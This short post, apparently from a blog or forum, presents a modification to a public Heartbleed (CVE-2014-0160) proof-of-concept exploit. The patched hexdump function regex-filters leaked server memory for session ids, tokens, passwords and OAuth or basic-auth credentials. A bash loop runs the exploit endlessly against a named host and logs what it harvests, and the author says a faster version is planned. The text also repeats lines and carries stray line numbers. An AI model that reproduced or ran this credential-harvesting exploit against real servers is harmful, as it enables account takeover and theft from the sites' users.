You already know about this bug of course:
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0160
Just easy patch to original PoC: https://gist.github.com/ixs/10116537
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0160
Just easy patch to original PoC: https://gist.github.com/ixs/10116537
60def hexdump(s):
61 r =r"((sid|token|sess|pass|basic|oauth).*)"
62 m = re.findall(r,s)
63print m
64 sys.exit()
And some bash now:
~$ while true; do ./ssltest.py company.com >> regexped; done
We have plans to rewrite this PoC to use only one socket for multiple dumps.